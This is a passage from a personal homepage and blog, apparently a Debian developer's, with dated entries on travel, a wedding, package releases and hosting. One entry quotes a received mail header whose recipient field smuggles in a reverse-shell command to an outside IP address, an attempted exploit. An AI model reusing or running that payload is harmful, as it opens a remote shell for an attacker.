  7. mtn (monotone) (Never used that)
  8. tla (GNU Arch)
  9. cvs

(I am trying hard to keep the number of systems I am using concurrently down. I'm failing though: five is ridiculous.)

Belgrade surroundings, 26 may 2011

28 mei 2011: Tara mountains, Serbia

Tara Mountains, Serbia, 28 may 2011Trip to Tara Mountains, Serbia.

26 mei 2011: Belgrado

Belgrade, 26 may 2011 Another nice trip to Belgrade.

25 mei 2011: Proba @ Mikser

I've enjoyed the Mikser Festival, in Beograd, may 2011. I am a member of Proba. This choir is an initiative of the Škart collective for poetry and design. Our performance was a succes! :)

may 4, 2011: honeymoon

Jelena and me have spent a very nice honeymoon.

friday 29 april 2011: huwelijksinzegening

Jelena and me got married today!

lundi 14 février 2011: cracker

Found this in my mailbox:

 Received: from bluedick (eluxenia.com [62.149.195.3])
         by emerald.mdcc.cx (Postfix) with SMTP id 14BB8C067
         for <"root+:|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0">;
         Sun, 13 Feb 2011 04:14:18 +0100 (CET)

At least this cracker (not "hacker") was a creative one :)

comment: ma 14 08:37 < Fruit> feh, bashism. waar kan ik een bug fileren?

dimanche 13 février 2011: systraq

Published a new systraq Debian package: systraq_0.0.20081217-3_all.deb. This version (or a later one) will likely end up on Debian wheezy (the current testing). (squeeze (the current stable) ships 0.0.20081217-1+squeeze2.1; sarge was the first Debian release which came with systraq: 0.0.20050213-4.) You can read about the changes in the Debian package and view some Debian developer information on the package. Thanks to Julien Valroff, Lucas Nussbaum and Mehdi Dogguy مهدي الدڤي for their help in building this new release.

vendredi 11 février 2011: blog

Yes, I finally have a "real" blog, at http://www.bewelcome.org/ and you can subscribe to it via RSS.

mercredi 18 août 2010: kookhoekje

't Is ongelofelijk maar waar: na meer dan zes jaar is er weer een aflevering van Joost's Kookhoekje verschenen. Overheerlijke Nassi deze keer.

dimanche 6 juin 2010: rwanda

Downtown Kigali, by Jenny and Randy aka hellotrain on their blog The Other Side of the FenceI'm back home from my first trip to Rwanda. Have visited the cities of Kigali (pictures) and Butare; have been working as a volunteer at the AfNOG-11 meeting's AfNOG Workshop 2010 at Kigali Institute of Technology. Furthermore, I've visited the IT department of Rwanda Development Board as well as National Universitsity of Rwanda. I've learned to enjoy Zingaru with Pilipili while having a "Mintzig" and am happy to have met the very kind people of Rwanda. I'll be back.

Melchior, Vuurfeest

Melchior, april 2010, door Yndra Tijdens het 6e vuurfeest maakte Virginie mooie foto's van o.a. Melchior.

caspar 100

26 Feb 2010: caspar's 100th anniversary!

Paris, M'Bilia Bel

Discovered the beautiful soukous as sung by Tabu Ley Rochereau and M'Bilia Bel M'Bilia Bel

Zondag 24 januari 2010: Jean Bosco Mwenda, Eekboek

Jean Bosco Mwanda aka Mwenda Wa
Bayeke Discovered Jean Bosco Mwenda's beautiful Congolese acoustic guitar music.

And did some Eekboek Debian uploads, too.

Dinsdag 29 december: Melchior

Melchior door CSer Toni, maart 2010Melchior is in da house.

Thu 6 Aug 2009

The CouchSurfing project truly kicks ass. I thought I knew it, but now I know it even better. An updated Mission statement has been published:

At CouchSurfing International, we envision a world where everyone can explore and create meaningful connections with the people and places they encounter. Building meaningful connections across cultures enables us to respond to diversity with curiosity, appreciation and respect. The appreciation of diversity spreads tolerance and creates a global community.

Next to this, this project is very open about financial details: at the "Finances"-link they give full details about the 2004 - 2008 Income and Operating Expenses.

O, and this week I've enjoyed one of my best hosting experiences :)

Sat 1 Aug 2009: debconf9

joostvb at DebConf9 Enjoyed (more pics, thanks to Wouter Verhelst e.a.) DebConf 9 in Cáceres, Extremadura, Spain, 23 - 30 July 2009. (And the Museo del Prado in Madrid, too; as well as yet another very good Couchsurfing experience.)

update: Even more and more pictures.

Sun 21 Jun 2009

Vierde Zonnewende aka Summer Solstice (05:45 UTC) bij Dommelen.

In de Keltische mythologie wordt de midzomernacht omschreven als de meest magische van het jaar. In deze nacht worden hemelse vuren ontstoken ter verering van het hoogtepunt van zon en maan. Het gerucht gaat dat tijdens deze nacht de poort naar de elfenwereld openstaat...

Viering van midzomernacht werd in vroegere tijden gelinkt aan de zomerzonnewende. De mensen geloofden dat planten op midzomer geneeskrachtige en magische krachten hebben en hiervoor plukten ze op deze nacht. Vreugdevuren werden ontstoken om zich te beschermen tegen de duistere krachten waarvan werd geloofd dat ze vrij spel hadden vanaf het moment was aangebroken waarop het aantal uren daglicht opnieuw afnam.

Bedankt Marianne, Ron, Hilleke, Leon en Mariëlle voor het organiseren van dit prachtige feest.

Wed 17 Jun 2009: fiets

Fietstocht gemaakt. Fiets- en wandeltochten staan sinds vandaag op de buitenpagina.

Sat, 13 Jun 2009

Patched ogg2mp3; see also the patched script.

Februari 21, 2009

Inspired by this post by Mark van Dijk, I wrote huisrekening, a script to compute payment schemes for payback among people who've all contributed (different) amounts of money to some common good. (A typical scenario for communities like student dorms.)

January 29, 2009

Released pgp-kspkeyserver-0.0.1.tar.gz.

January 28, 2009

Inspired by Philipp Wesche's whohas, I've written the first version of whohas2html. I've ran

$ update-whohashtml -d \
   archlinux,debian,fink,freebsd,gentoo,macports,netbsd,openbsd,ubuntu,fedora \
   < whohas.packages.txt > whohas.html

and collected the in- and output files.

January 27, 2009

Uploaded new Eekboek (Bookkeeping software for small and medium-size businesses) Debian package: eekboek 1.04.02-1 has entered the Debian archive. It will likely enter Debian unstable soonish. You can read about the changes in the Debian package. This version (or a later one) will likely end up in Debian squeeze (the current unstable). lenny (the current testing) won't ship eekboek. It'll also likely get shipped with Ubuntu. You can view some Debian developer information about the package, and browse its Version Control repository.

January 12, 2009

Monday january 12: Talk at Chaos Seminar in Ulm, Germany: mailman-pgp-smime, een project dat ondersteuning voor OpenPGP en S/MIME aan GNU Mailman wil toevoegen.

January 8, 2009

Uploaded the freedict-tools-dev 0.3-2 Debian package , as well as the freedict-eng-ara_0.6.1-1, freedict-ara-eng_0.6.1-1, freedict-lit-eng_0.4-1 and freedict-eng-lit_0.4-1 Debian source packages, as prepared by Kęstutis Biliūnas to Debian experimental. See the pkg-freedict page on Alioth if you'd like to help: there's still quite some work to do.

December 21, 2008

De 2e aflevering van het poeziefestival Westelbeers was zo mogelijk nog beter dan de eerste aflevering: met lekkere zelfgemaakte erwtensoep deze keer. Zie ook het verslagje van de vorige aflevering.

December 17, 2008

Published smallmailclient_0.2-beta-1_all.deb, a Debian package for the mail client for the Small Sister privacy system.

December 16, 2008

john campbell kicks ass, see "Paul who is a ghost who is on a plane" and other pictures for sad children comics.

/var/log/mail.log

November 24, 2008

/usr/sbin/sendmail Found out today there was a 55 kilometer pneumatic post system in use in Prague untill 2002. On the right: /var/log/mail.log. On the left: /usr/sbin/sendmail. On the lower right: /etc/mail/sendmail.cf. /etc/mail/sendmail.cf

November 3, 2008

Found out about this nice and insightful article on How to recognise a good programmer at Daniel Tenner's blog.

October 12, 2008

Ik heb eindelijk het filmpje gevonden dat Source21.nl van me maakte over PGP. Dank aan John Jaarsveld voor de tip.

June 5, 2008

Released tremble 0.0.3.

May 5, 2008

The system I've bought in March is finally up and running. It's called bruhat.mdcc.cx, after Yvonne Choquet-Bruhat who wrote Analysis, Manifolds and Physics in 1977 with Cécile DeWitt-Morette. It's running Debian GNU/Linux, and powered by lvm, xfs, reiserfs, runit, socklog, netqmail and maildrop, a.o. See also my list of packages I can't live without.

April 10, 2008

Finally published ad1810-tachod. It's a simple script to annoy the user and chase her away from the computer when she shouldn't be working. (Published some other old scripts too.)

April 6, 2008

Found back a 1998-08 post of mine. Jee...

March 21, 2008

Published ad1810-autoindex, a small (and still somewhat buggy) shell script useful if your webserver has no (or limited) autoindex support.

February 14, 2008

aangifte-ib-installer_0.8-1_all.deb released: converts official (as in: not test) version of Aangifteprogramma 2007, as supplied by Dutch belastingdienst to a binary package for Debian and Ubuntu GNU/Linux.

January 23, 2008

I am working on muladhara. Details will follow Real Soon Now.

The beginnings of the modern right cross
demonstrated in Edmund Price's The Science of Self Defense: A Treatise on
Sparring and Wrestling, 1867

august 7, 2001

[Here's an old entry, for people interested in history:] This site has moved to [topaz,] a machine with a somewhat more reliable internet connectivity. Read about the disasters which happened last two weeks here. You might find broken links, due to this move. I'm working on it. The documentation will stay at my homemachine.

about

Joost van Baal-Ilić

...is maintaining this site. Read about Joost van Baal-Ilić and about DJ joostvb.

mdcc.cx

The mdcc.cx domain is dedicated to the year AD MDCCCX, in which journalist and women's rights activist Margaret Fuller was born. The quote

When people keep telling you that you can't do a thing, you kind of like to try it.

is attributed to her.

(Thanks to Ferdinand Francino and vormveranderaar Virginie Moerenhout for helping me finding this dedication for the domain.)

hosting

I am a happy Virtual Concepts customer: this site is hosted by them. I am also a happy L² Transfinite Technologies user; hosted on conuropsis.org, are, a.o.:

Evan Prodromou has summarized all reasons for choosing hosters like conuropsis and Virtual Concepts on his 9_Thermidor_CCXIV blog entry.

If you're looking for hosting, you also might want to contact Moving Art Studio / all2all in Brussels. I never did any business with them. Their website however seems to indicate these people at least have some clue.

machines

The http://doc.mdcc.cx/ webpages are brought to you by a webserver, running on a host called stegun.mdcc.cx.

I've collected some history about the machines at the mdcc.cx site / my home network.

xs4all, chello and connectivity

I bought internet connectivity from UPC Nederland from April 2000 until September 2003. Their product (which includes dhcp via a cable modem) is called Chello Broadband. (At that time they owned a monopoly on "permanent" internet connectivity in the area I live, btw.) If you buy your connectivity from chello in The Netherlands, be sure to check out COAX, "de landelijke belangenbehartiger van chello gebruikers". Other interesting link: Telekabel Gebruikers Vereniging (which does some UPC/Chello stuff too, it seems).

I've uploaded an .ini file for Thomson SpeedTouch modem.

Since September 2003, I'm using the XS4ALL account I bought in April 1999 for my connectivity. I'm much happier now :)

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